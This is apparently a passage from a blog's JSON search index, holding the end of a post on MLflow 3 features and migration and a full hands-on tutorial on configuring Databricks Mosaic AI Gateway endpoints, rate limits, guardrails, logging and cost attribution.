mlflow.dspy.autolog() One line of code. No manual span creation. No decorator spaghetti. The auto-tracing captures the full execution hierarchy, token counts, latencies, and costs.\nSelf-Hosted Observability # Here\u0026rsquo;s what makes this compelling: MLflow is open source. Your trace data stays on your infrastructure. No SaaS vendor lock-in. No per-trace pricing surprises.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import mlflow # Point to your own tracking server mlflow.set_tracking_uri(\u0026#34;http://your-mlflow-server:5000\u0026#34;) # Enable auto-tracing mlflow.openai.autolog() # Every traced call now goes to YOUR server response = client.chat.completions.create( model=\u0026#34;gpt-4\u0026#34;, messages=[{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Explain quantum computing\u0026#34;}] ) # Trace automatically captured: latency, tokens, cost, full I/O For teams already running Databricks, MLflow 3 traces integrate natively with Unity Catalog for governance — who accessed what trace data, data lineage from prompt to production response, and audit trails that compliance teams actually accept.\nMosaic AI Agent Framework Integration # On Databricks, MLflow 3 is the backbone of the Mosaic AI Agent Framework. The integration is deeper than \u0026ldquo;they work together\u0026rdquo; — MLflow provides the tracking, evaluation, and governance layer that the Agent Framework builds on.\nThe workflow looks like this:\nflowchart LR subgraph Dev[\"Development\"] A[\"Author Agent\"] --\u003e B[\"Log with MLflow\"] B --\u003e C[\"Evaluate\"] end subgraph Govern[\"Governance\"] C --\u003e D[\"Unity Catalog\\nModel Registry\"] D --\u003e E[\"Prompt Registry\"] end subgraph Deploy[\"Deployment\"] D --\u003e F[\"Model Serving\"] F --\u003e G[\"MLflow Tracing\\nObservability\"] end style A fill:#4CAF50,color:#fff style D fill:#FF9800,color:#fff style G fill:#2196F3,color:#fff 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import mlflow # Log your agent with MLflow — standard API mlflow.pyfunc.log_model( name=\u0026#34;support_agent\u0026#34;, python_model=my_agent, registered_model_name=\u0026#34;production_support_agent\u0026#34; ) # Evaluate with built-in LLM judges eval_results = mlflow.evaluate( model=\u0026#34;models:/production_support_agent/latest\u0026#34;, data=test_dataset, evaluators=\u0026#34;default\u0026#34;, ) # Deploy to Model Serving — traces flow automatically # No additional instrumentation needed The key insight: once your agent is logged with MLflow, tracing is automatic in Databricks Model Serving. Every inference request generates a trace. Every trace is governed by Unity Catalog. You get observability without writing observability code.\nPractical Migration: What to Do Monday Morning # If you\u0026rsquo;re on MLflow 2.x, here\u0026rsquo;s the pragmatic upgrade path:\n1. Install MLflow 3 Alongside Existing Workflows # 1 pip install --upgrade mlflow\u0026gt;=3.0 MLflow 3 reads MLflow 2 resources — your existing experiments, runs, and registered models continue to work.\n2. Start with Tracing (Highest ROI) # Don\u0026rsquo;t try to migrate everything at once. Add auto-tracing to your GenAI applications first — it\u0026rsquo;s the feature with the most immediate value and zero disruption to existing workflows:\n1 2 import mlflow mlflow.openai.autolog() # Done. You now have observability. 3. Move Prompts to the Registry # Identify prompts that are hardcoded in your application. Move them to the Prompt Registry one at a time. Start with the prompts that change most frequently — those benefit most from versioning and aliases.\n4. Adopt LoggedModel for New Work # For new models and agents, use the LoggedModel pattern (no start_run() wrapper). Keep existing pipelines on the run-based approach until you have a natural reason to refactor.\nDon\u0026rsquo;t break what works. MLflow 3\u0026rsquo;s migration guide explicitly says the upgrade should be \u0026ldquo;quick and simple.\u0026rdquo; The new features are additive. You don\u0026rsquo;t need to rewrite your training pipelines to benefit from the GenAI capabilities. Key Takeaways # MLflow 3 isn\u0026rsquo;t just an upgrade — it\u0026rsquo;s a repositioning. The platform that tracked your XGBoost experiments now wants to be the control plane for your entire LLM operation: prompts, agents, traces, and evaluations.\nThe three features that matter most:\nPrompt Registry — Version control, aliases, and evaluation for prompts. Treats prompt engineering as the production discipline it actually is.\nNative Tracing — Hierarchical, OpenTelemetry-compatible observability for GenAI applications. Works everywhere, not just on Databricks.\nLoggedModel — Models as first-class entities, decoupled from runs. A cleaner abstraction for the world where \u0026ldquo;model\u0026rdquo; means many different things.\nWhether you\u0026rsquo;re running agents on Databricks or deploying them independently, MLflow 3 provides the lifecycle management that GenAI applications desperately need. The gap between \u0026ldquo;cool demo\u0026rdquo; and \u0026ldquo;production-grade AI system\u0026rdquo; is mostly observability, evaluation, and governance — and that\u0026rsquo;s exactly where MLflow 3 aims.\nMLflow 3 is Generally Available. The Prompt Registry, tracing SDK, and LoggedModel entity are all production-ready. For the full migration guide, see the MLflow 3 documentation.\n","date":"18 April 2026","externalUrl":null,"permalink":"/posts/mlflow-3-rebuilt-for-genai-era/","section":"Posts","summary":"","title":"MLflow 3: Rebuilt for the GenAI Era","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/categories/mlops/","section":"Categories","summary":"","title":"MLOps","type":"categories"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/model-serving/","section":"Tags","summary":"","title":"Model-Serving","type":"tags"},{"content":"Every enterprise deploying LLMs hits the same wall: governance at scale. You start with one OpenAI endpoint. Then someone adds Anthropic. A team fine-tunes Llama on provisioned throughput. Another team spins up a custom model. Before you know it, you have five different API keys scattered across three clouds, no unified logging, no rate limiting, and a CFO asking why the AI bill tripled last month.\nMosaic AI Gateway is Databricks\u0026rsquo; answer to this chaos. It\u0026rsquo;s a centralized proxy layer that sits between your applications and every AI model — whether hosted on Databricks, routed through OpenAI, Anthropic, Bedrock, or any custom provider. One API surface. One governance model. One place to enforce guardrails, track costs, and prove compliance.\nIn this article, we\u0026rsquo;ll go beyond the overview and get hands-on: configure multi-model endpoints, set up rate limiting, enable guardrails, wire up cost attribution, and query the unified audit trail — all with real code you can run today.\nWhy AI Gateway Matters # Without a gateway, the typical enterprise AI architecture looks like this:\n1 2 3 4 5 6 7 8 9 [App A] --\u0026gt; [OpenAI API] (API key in env var) [App B] --\u0026gt; [Anthropic API] (API key in Vault) [App C] --\u0026gt; [Bedrock] (IAM role) [App D] --\u0026gt; [Custom Model] (mTLS cert) | No unified logging No rate limiting No cost attribution No guardrails Every model provider has its own auth, its own rate limits, its own logging format. Your security team can\u0026rsquo;t audit what prompts went where. Your finance team can\u0026rsquo;t attribute costs to projects. Your compliance team can\u0026rsquo;t prove PII isn\u0026rsquo;t leaking into third-party models.\nWith AI Gateway, this collapses:\n1 2 3 4 5 6 7 8 9 10 11 12 [App A] ─┐ [App B] ─┤ [App C] ─┼──\u0026gt; [AI Gateway] ──\u0026gt; [Any Model Provider] [App D] ─┘ │ ┌────┴────┐ │ Unified │ │ Logging │ │ Rate │ │ Limits │ │ Guards │ │ Costs │ └──────────┘ One API. One token. One governance layer. Every request — whether it\u0026rsquo;s going to GPT-4o, Claude Sonnet, or a fine-tuned Llama 3.1 — flows through the same control plane.\nAI Gateway supports 300K+ QPS per endpoint with route optimization enabled, adding less than 20ms of overhead. This isn\u0026rsquo;t a bottleneck — it\u0026rsquo;s infrastructure that scales beyond what most organizations will ever need. Prerequisites # Before you start:\nA Databricks workspace on AWS, Azure, or GCP Workspace admin privileges (to create serving endpoints) A Databricks personal access token (PAT) or service principal token Python 3.8+ with databricks-sdk and openai packages installed Basic familiarity with REST APIs and the Databricks UI A Unity Catalog metastore attached to your workspace (for logging and audit) Architecture: How AI Gateway Works # AI Gateway is built into Databricks Model Serving infrastructure. It\u0026rsquo;s not a separate service you deploy — it\u0026rsquo;s a configuration layer on top of serving endpoints.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ┌─────────────────────────────────────────────────┐ │ AI Gateway │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │ │ │ Auth \u0026amp; │ │ Rate │ │ Guardrails │ │ │ │ Routing │ │ Limiter │ │ (Safety + PII) │ │ │ └────┬─────┘ └────┬─────┘ └───────┬──────────┘ │ │ └─────────────┼───────────────┘ │ │ │ │ │ ┌──────▼──────┐ │ │ │ Inference │ │ │ │ Logging │ │ │ │ (→ UC Delta)│ │ │ └──────┬──────┘ │ │ │ │ │ ┌──────────────────▼────────────────────────┐ │ │ │ Traffic Router │ │ │ │ (Splitting / Fallbacks / Load Balancing) │ │ │ └──┬──────────┬──────────┬──────────┬───────┘ │ │ │ │ │ │ │ └─────┼──────────┼──────────┼──────────┼───────────┘ ▼ ▼ ▼ ▼ [Databricks [OpenAI] [Anthropic] [Custom Foundation Provider] Models] Key architectural properties:\nHorizontally scalable — the inference server, auth layer, proxy, and rate limiter all scale independently Credential isolation — API keys are stored via Databricks Secrets, never exposed to application code OpenAI-compatible API — your existing OpenAI SDK code works unchanged, just point it at the gateway Unity Catalog native — all logs flow into governed Delta tables Step 1: Create a Multi-Model Endpoint # Let\u0026rsquo;s start by setting up an endpoint that routes to an external model. This is how you bring OpenAI, Anthropic, or any provider under the AI Gateway umbrella.\nExternal Model — Anthropic # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import mlflow.deployments client = mlflow.deployments.get_deploy_client(\u0026#34;databricks\u0026#34;) client.create_endpoint( name=\u0026#34;claude-gateway\u0026#34;, config={ \u0026#34;served_entities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;claude-sonnet\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;claude-sonnet-4-5\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;anthropic\u0026#34;, \u0026#34;task\u0026#34;: \u0026#34;llm/v1/chat\u0026#34;, \u0026#34;anthropic_config\u0026#34;: { \u0026#34;anthropic_api_key\u0026#34;: \u0026#34;{{secrets/ai-keys/anthropic}}\u0026#34; } } } ] } ) External Model — OpenAI (Azure) # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 client.create_endpoint( name=\u0026#34;gpt-gateway\u0026#34;, config={ \u0026#34;served_entities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;gpt-4o\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;gpt-4o\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;openai\u0026#34;, \u0026#34;task\u0026#34;: \u0026#34;llm/v1/chat\u0026#34;, \u0026#34;openai_config\u0026#34;: { \u0026#34;openai_api_type\u0026#34;: \u0026#34;azure\u0026#34;, \u0026#34;openai_api_key\u0026#34;: \u0026#34;{{secrets/ai-keys/azure-openai}}\u0026#34;, \u0026#34;openai_api_base\u0026#34;: \u0026#34;https://my-org.openai.azure.com\u0026#34;, \u0026#34;openai_deployment_name\u0026#34;: \u0026#34;gpt-4o-deployment\u0026#34;, \u0026#34;openai_api_version\u0026#34;: \u0026#34;2024-02-15-preview\u0026#34; } } } ] } ) External Model — Amazon Bedrock # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 client.create_endpoint( name=\u0026#34;bedrock-gateway\u0026#34;, config={ \u0026#34;served_entities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;bedrock-claude\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;anthropic.claude-sonnet-4-v2:0\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;amazon-bedrock\u0026#34;, \u0026#34;task\u0026#34;: \u0026#34;llm/v1/chat\u0026#34;, \u0026#34;amazon_bedrock_config\u0026#34;: { \u0026#34;aws_region\u0026#34;: \u0026#34;us-east-1\u0026#34;, \u0026#34;uc_service_credential_name\u0026#34;: \u0026#34;bedrock-credential\u0026#34;, \u0026#34;bedrock_provider\u0026#34;: \u0026#34;anthropic\u0026#34; } } } ] } ) Custom Provider # Got a model running on your own infrastructure? No problem:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 client.create_endpoint( name=\u0026#34;custom-gateway\u0026#34;, config={ \u0026#34;served_entities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;internal-model\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;our-fine-tuned-llama\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;custom\u0026#34;, \u0026#34;task\u0026#34;: \u0026#34;llm/v1/chat\u0026#34;, \u0026#34;custom_provider_config\u0026#34;: { \u0026#34;custom_provider_url\u0026#34;: \u0026#34;https://ml.internal.company.com/v1/chat\u0026#34;, \u0026#34;bearer_token_auth\u0026#34;: { \u0026#34;token\u0026#34;: \u0026#34;{{secrets/ai-keys/internal-ml}}\u0026#34; } } } } ] } ) Notice the pattern: every provider\u0026rsquo;s API key is stored in Databricks Secrets — never in code, never in environment variables. The {{secrets/scope/key}} notation is resolved server-side.\nSeven built-in providers are supported: OpenAI, Anthropic, Cohere, Amazon Bedrock, Google Cloud Vertex AI, AI21 Labs, and Databricks Model Serving. The custom provider covers everything else with a simple URL + auth configuration. Step 2: Query via the OpenAI SDK # Here\u0026rsquo;s the part that makes AI Gateway seamless: it speaks the OpenAI API. Your existing code works with a two-line change.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from openai import OpenAI client = OpenAI( api_key=\u0026#34;dapi-your-databricks-token\u0026#34;, base_url=\u0026#34;https://your-workspace.cloud.databricks.com/serving-endpoints\u0026#34; ) response = client.chat.completions.create( model=\u0026#34;claude-gateway\u0026#34;, # your AI Gateway endpoint name messages=[ {\u0026#34;role\u0026#34;: \u0026#34;system\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;You are a helpful data engineering assistant.\u0026#34;}, {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Explain the difference between Z-Order and Liquid Clustering in Delta Lake.\u0026#34;} ], temperature=0.7 ) print(response.choices[0].message.content) Or query directly from a Databricks notebook using SQL:\n1 2 3 4 SELECT ai_query( \u0026#34;claude-gateway\u0026#34;, \u0026#34;What are the benefits of Unity Catalog for data governance?\u0026#34; ) AS response; The application doesn\u0026rsquo;t know or care whether it\u0026rsquo;s talking to Anthropic, OpenAI, or a self-hosted model. It just calls the gateway endpoint. That\u0026rsquo;s the point.\nStep 3: Traffic Splitting and Fallbacks # Real production deployments need more than a single model behind an endpoint. AI Gateway supports traffic splitting for A/B testing and fallbacks for reliability.\nTraffic Splitting # Route 70% of traffic to one model and 30% to another — useful for gradual rollouts or comparing model quality:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 client.create_endpoint( name=\u0026#34;chat-production\u0026#34;, config={ \u0026#34;served_entities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;primary-model\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;claude-sonnet-4-5\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;anthropic\u0026#34;, \u0026#34;task\u0026#34;: \u0026#34;llm/v1/chat\u0026#34;, \u0026#34;anthropic_config\u0026#34;: { \u0026#34;anthropic_api_key\u0026#34;: \u0026#34;{{secrets/ai-keys/anthropic}}\u0026#34; } }, \u0026#34;traffic_percentage\u0026#34;: 70 }, { \u0026#34;name\u0026#34;: \u0026#34;challenger-model\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;gpt-4o\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;openai\u0026#34;, \u0026#34;task\u0026#34;: \u0026#34;llm/v1/chat\u0026#34;, \u0026#34;openai_config\u0026#34;: { \u0026#34;openai_api_key\u0026#34;: \u0026#34;{{secrets/ai-keys/openai}}\u0026#34; } }, \u0026#34;traffic_percentage\u0026#34;: 30 } ] } ) Fallbacks # If the primary model returns a 429 (rate limited) or 5XX error, the gateway automatically tries the next model. Set traffic percentage to 0% for fallback-only models:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Primary model gets 100% of traffic; fallback activates on errors config = { \u0026#34;served_entities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;primary\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;gpt-4o\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;openai\u0026#34;, ... }, \u0026#34;traffic_percentage\u0026#34;: 100 }, { \u0026#34;name\u0026#34;: \u0026#34;fallback\u0026#34;, \u0026#34;external_model\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;claude-sonnet-4-5\u0026#34;, \u0026#34;provider\u0026#34;: \u0026#34;anthropic\u0026#34;, ... }, \u0026#34;traffic_percentage\u0026#34;: 0 # fallback only } ] } Maximum two fallback models per endpoint. The gateway tries them sequentially — if the first fallback also fails, it tries the second before returning an error.\nStep 4: Rate Limiting # Rate limiting is the simplest and most effective governance control. AI Gateway supports a three-tier structure:\nLevel Scope Description Endpoint Global Max QPM/TPM ceiling for all traffic to this endpoint User Default Per-user Default limit applied to every user unless overridden Custom Specific Limits for specific users, service principals, or groups Configure via the Databricks SDK # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from databricks.sdk import WorkspaceClient from databricks.sdk.service.serving import ( AiGatewayConfig, AiGatewayRateLimit, AiGatewayRateLimitRenewalPeriod, AiGatewayRateLimitKey ) w = WorkspaceClient() w.serving_endpoints.put_ai_gateway( name=\u0026#34;claude-gateway\u0026#34;, rate_limits=[ # Global endpoint limit: 10,000 queries per minute AiGatewayRateLimit( calls=10000, renewal_period=AiGatewayRateLimitRenewalPeriod.MINUTE, key=AiGatewayRateLimitKey.ENDPOINT ), # Default per-user limit: 100 queries per minute AiGatewayRateLimit( calls=100, renewal_period=AiGatewayRateLimitRenewalPeriod.MINUTE, key=AiGatewayRateLimitKey.USER ) ] ) Why this matters # Without rate limiting, a single runaway script can:\nBurn through your entire OpenAI quota in minutes Trigger provider-side throttling that affects all users Generate a five-figure invoice from a weekend experiment With AI Gateway, you set the guardrails once and every request — from notebooks, jobs, apps, or APIs — respects them.\nRate limiting is free — no additional DBU charges. You can set up to 20 rate limits per endpoint, including up to 5 group-specific limits. Both QPM (queries per minute) and TPM (tokens per minute) are supported. Step 5: AI Guardrails # Rate limits control volume. Guardrails control content. AI Gateway offers two built-in guardrail types, both in Public Preview.\nSafety Filtering # Powered by Meta Llama Guard 2-8B, safety filtering prevents models from interacting with unsafe content. It applies to both inputs (what users send) and outputs (what models return).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from databricks.sdk.service.serving import ( AiGatewayConfig, AiGatewayGuardrails, AiGatewayGuardrailParameters ) w.serving_endpoints.put_ai_gateway( name=\u0026#34;claude-gateway\u0026#34;, guardrails=AiGatewayGuardrails( input=AiGatewayGuardrailParameters( safety=True # Enable safety filtering on inputs ), output=AiGatewayGuardrailParameters( safety=True # Enable safety filtering on outputs ) ) ) When safety filtering blocks a request, the gateway returns HTTP 400 — your application gets a clear signal that the content was rejected, not a model hallucination about why it can\u0026rsquo;t help.\nPII Detection # Three modes: None (disabled), Block (reject requests containing PII), or Mask (redact PII before forwarding to the model).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from databricks.sdk.service.serving import AiGatewayGuardrailPiiBehavior w.serving_endpoints.put_ai_gateway( name=\u0026#34;claude-gateway\u0026#34;, guardrails=AiGatewayGuardrails( input=AiGatewayGuardrailParameters( safety=True, pii=AiGatewayGuardrailPiiBehavior( behavior=\u0026#34;BLOCK\u0026#34; # or \u0026#34;MASK\u0026#34; or \u0026#34;NONE\u0026#34; ) ), output=AiGatewayGuardrailParameters( safety=True, pii=AiGatewayGuardrailPiiBehavior( behavior=\u0026#34;MASK\u0026#34; # Mask PII in model responses ) ) ) ) Detected PII categories (U.S.): credit card numbers, Social Security numbers, phone numbers, email addresses, names, and addresses.\nThis is where AI Gateway and Unity Catalog\u0026rsquo;s security model converge. You\u0026rsquo;ve already locked down data access with column masking and row-level security. Now you\u0026rsquo;re locking down the AI layer too — preventing sensitive data from leaking through prompts or model responses.\nStep 6: Payload Logging and Usage Tracking # Every request and response can be logged to inference tables — Delta tables managed by Unity Catalog. This gives you a complete audit trail of what was asked, what was answered, and who asked it.\nEnable Inference Table Logging # 1 2 3 4 5 6 7 8 9 10 from databricks.sdk.service.serving import AiGatewayInferenceTableConfig w.serving_endpoints.put_ai_gateway( name=\u0026#34;claude-gateway\u0026#34;, inference_table_config=AiGatewayInferenceTableConfig( catalog_name=\u0026#34;ml_governance\u0026#34;, schema_name=\u0026#34;ai_gateway_logs\u0026#34;, enabled=True ) ) Once enabled, every request generates a row in the inference table with:\nFull request payload (prompt, parameters) Full response payload (completion, token counts) Caller identity and timestamp Latency metrics Usage Tracking via System Tables # For aggregate usage analytics without storing full payloads, query the system table:\n1 2 3 4 5 6 7 8 9 10 11 12 13 -- Token usage by user over the last 30 days SELECT eu.created_by AS user_email, se.served_entity_name AS model, SUM(eu.input_token_count) AS total_input_tokens, SUM(eu.output_token_count) AS total_output_tokens, COUNT(*) AS total_requests FROM system.serving.endpoint_usage AS eu JOIN system.serving.served_entities AS se ON eu.served_entity_id = se.served_entity_id WHERE eu.request_date \u0026gt;= current_date() - INTERVAL 30 DAYS GROUP BY eu.created_by, se.served_entity_name ORDER BY total_output_tokens DESC; Cost Attribution with Usage Context # The real power for finance teams: usage context lets you tag every request with project, team, or user identifiers for precise cost attribution.\n1 2 3 4 5 6 7 8 9 10 11 response = client.chat.completions.create( model=\u0026#34;claude-gateway\u0026#34;, messages=[{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Summarize Q3 revenue trends.\u0026#34;}], extra_body={ \u0026#34;usage_context\u0026#34;: { \u0026#34;project\u0026#34;: \u0026#34;financial-reporting\u0026#34;, \u0026#34;team\u0026#34;: \u0026#34;data-analytics\u0026#34;, \u0026#34;end_user_to_charge\u0026#34;: \u0026#34;analyst-jane-doe\u0026#34; } } ) Then query costs by project:\n1 2 3 4 5 6 7 8 9 10 -- Cost attribution by project and team SELECT usage_context:project AS project, usage_context:team AS team, SUM(input_token_count + output_token_count) AS total_tokens, COUNT(*) AS request_count FROM system.serving.endpoint_usage WHERE request_date \u0026gt;= current_date() - INTERVAL 30 DAYS GROUP BY usage_context:project, usage_context:team ORDER BY total_tokens DESC; No more arguing about which team ran up the bill. Every token is accounted for.\nStep 7: Putting It All Together # Here\u0026rsquo;s a complete configuration that combines everything — multi-model routing with fallbacks, rate limiting, guardrails, and logging:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from databricks.sdk import WorkspaceClient from databricks.sdk.service.serving import * w = WorkspaceClient() # Create the endpoint with traffic splitting and fallbacks w.serving_endpoints.create( name=\u0026#34;enterprise-chat\u0026#34;, config=EndpointCoreConfigInput( served_entities=[ ServedEntityInput( name=\u0026#34;primary-claude\u0026#34;, external_model=ExternalModel( name=\u0026#34;claude-sonnet-4-5\u0026#34;, provider=\u0026#34;anthropic\u0026#34;, task=\u0026#34;llm/v1/chat\u0026#34;, anthropic_config=AnthropicConfig( anthropic_api_key=\u0026#34;{{secrets/ai-keys/anthropic}}\u0026#34; ) ), traffic_percentage=100 ), ServedEntityInput( name=\u0026#34;fallback-gpt\u0026#34;, external_model=ExternalModel( name=\u0026#34;gpt-4o\u0026#34;, provider=\u0026#34;openai\u0026#34;, task=\u0026#34;llm/v1/chat\u0026#34;, openai_config=OpenAiConfig( openai_api_key=\u0026#34;{{secrets/ai-keys/openai}}\u0026#34; ) ), traffic_percentage=0 # fallback only ) ] ) ) # Configure AI Gateway features w.serving_endpoints.put_ai_gateway( name=\u0026#34;enterprise-chat\u0026#34;, rate_limits=[ AiGatewayRateLimit( calls=10000, renewal_period=AiGatewayRateLimitRenewalPeriod.MINUTE, key=AiGatewayRateLimitKey.ENDPOINT ), AiGatewayRateLimit( calls=200, renewal_period=AiGatewayRateLimitRenewalPeriod.MINUTE, key=AiGatewayRateLimitKey.USER ) ], guardrails=AiGatewayGuardrails( input=AiGatewayGuardrailParameters( safety=True, pii=AiGatewayGuardrailPiiBehavior(behavior=\u0026#34;BLOCK\u0026#34;) ), output=AiGatewayGuardrailParameters( safety=True, pii=AiGatewayGuardrailPiiBehavior(behavior=\u0026#34;MASK\u0026#34;) ) ), inference_table_config=AiGatewayInferenceTableConfig( catalog_name=\u0026#34;ml_governance\u0026#34;, schema_name=\u0026#34;ai_gateway_logs\u0026#34;, enabled=True ) ) That\u0026rsquo;s a production-ready AI governance layer — deployed in under 50 lines of Python.\nDatabricks Foundation Models: Pay-Per-Token # AI Gateway isn\u0026rsquo;t just for external providers. Databricks hosts its own Foundation Model APIs — pre-deployed models you can query immediately with no infrastructure to manage.\nAvailable models include:\nProvider Models Meta Llama 4 Maverick, Llama 3.3 70B, Llama 3.1 405B/8B Anthropic Claude Opus 4, Claude Sonnet 4.5, Claude Haiku 4.5 Google Gemini 2.5 Pro/Flash OpenAI GPT-4o, GPT-4o mini Two pricing models:\nPay-per-token: Billed in DBUs per token. Ideal for experimentation and intermittent workloads. No minimum commitment. Provisioned throughput: Reserved capacity with guaranteed performance. Recommended for production workloads with predictable traffic. Query a foundation model the same way as an external endpoint:\n1 2 3 4 response = client.chat.completions.create( model=\u0026#34;databricks-meta-llama-3-3-70b-instruct\u0026#34;, messages=[{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Explain Delta Lake time travel.\u0026#34;}] ) All AI Gateway features — rate limiting, guardrails, logging, cost attribution — apply uniformly to foundation models. Same governance, whether you\u0026rsquo;re calling Claude via Anthropic\u0026rsquo;s API or via Databricks\u0026rsquo; hosted instance.\nWhen to Use AI Gateway vs. Direct API Calls # Use AI Gateway when\u0026hellip; Use direct API calls when\u0026hellip; Multiple teams share AI model access You have a single, isolated use case You need unified cost attribution Cost tracking per provider is sufficient Compliance requires prompt/response logging Logging isn\u0026rsquo;t a regulatory requirement You want provider-agnostic failover You\u0026rsquo;re committed to a single provider Security policy mandates PII filtering Your data pipeline already strips PII You\u0026rsquo;re already on Databricks You have no Databricks footprint Architecture Pattern: Enterprise AI Governance Stack # Here\u0026rsquo;s how AI Gateway fits into the broader Databricks governance story:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ┌──────────────────────────────────────────────────────────┐ │ Applications │ │ Chatbots · Agents · Internal Tools · Customer-Facing AI │ └──────────────────────┬───────────────────────────────────┘ │ ┌──────────────────────▼───────────────────────────────────┐ │ AI Gateway │ │ Rate Limits · Guardrails · Logging · Cost Attribution │ └──────┬──────────────┬──────────────┬─────────────────────┘ │ │ │ ┌──────▼──────┐ ┌─────▼──────┐ ┌────▼─────────────────┐ │ Foundation │ │ External │ │ Custom Models │ │ Model APIs │ │ Providers │ │ (Fine-tuned, RAG) │ │ (Pay/Token) │ │ (OpenAI, │ │ │ │ │ │ Anthropic)│ │ │ └─────────────┘ └────────────┘ └───────────────────────┘ │ │ │ ┌──────▼──────────────▼──────────────▼─────────────────────┐ │ Unity Catalog │ │ Inference Tables · System Tables · Audit Logs │ │ Column Masking · Row Security · Access Control │ └──────────────────────────────────────────────────────────┘ The governance stack is layered:\nUnity Catalog governs data access (who can query what) AI Gateway governs model access (who can call which model, how much, with what content) Together they create an end-to-end audit trail from data to AI output Current Limitations # AI Guardrails are in Public Preview — safety filtering and PII detection may evolve Custom Guardrails (bring your own safety model) are in Private Preview Fallbacks are limited to 2 per endpoint and only supported for external models PII detection covers U.S. categories only — international PII patterns are not yet supported TPM rate limiting is not available for custom provider models Request batch size cannot exceed 16 when guardrails are active Streaming is not supported with output guardrails for embeddings models Configuration updates take 20-40 seconds to propagate; rate limit changes may take up to 60 seconds Conclusion # AI Gateway is one of those platform capabilities that seems optional until you need it — and by the time you need it, you\u0026rsquo;re already in trouble. The runaway cost incident. The compliance audit. The prompt injection that leaked customer data to a third-party model.\nThe practical value is clear:\nUnified access — one API surface for every model provider, no scattered API keys Cost control — rate limiting and usage attribution before the bill arrives, not after Compliance — every prompt and response logged to governed Delta tables in Unity Catalog Safety — guardrails that filter content at the platform level, not the application level Resilience — automatic fallbacks across providers when primary models are unavailable If you\u0026rsquo;re running AI workloads on Databricks — or even considering consolidating your model access — AI Gateway should be your first configuration step, not an afterthought. The governance layer you set up today prevents the incident you\u0026rsquo;ll otherwise investigate tomorrow.\nAI Gateway is GA for serving endpoints across AWS, Azure, and GCP. The new AI Gateway experience (with coding agent integration and MCP server governance) is in Beta. Check the Databricks documentation for the latest features and availability.\n","date":"18 April 2026","externalUrl":null,"permalink":"/posts/mosaic-ai-gateway-unified-ai-governance/","section":"Posts","summary":"","title":"Mosaic AI Gateway: Unified AI Governance at Scale","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/mosaic-ai/","section":"Tags","summary":"","title":"Mosaic-Ai","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/observability/","section":"Tags","summary":"","title":"Observability","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/oltp/","section":"Tags","summary":"","title":"Oltp","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/pgvector/","section":"Tags","summary":"","title":"Pgvector","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/postgres/","section":"Tags","summary":"","title":"Postgres","type":"tags"},{"content":"","date":"18 April 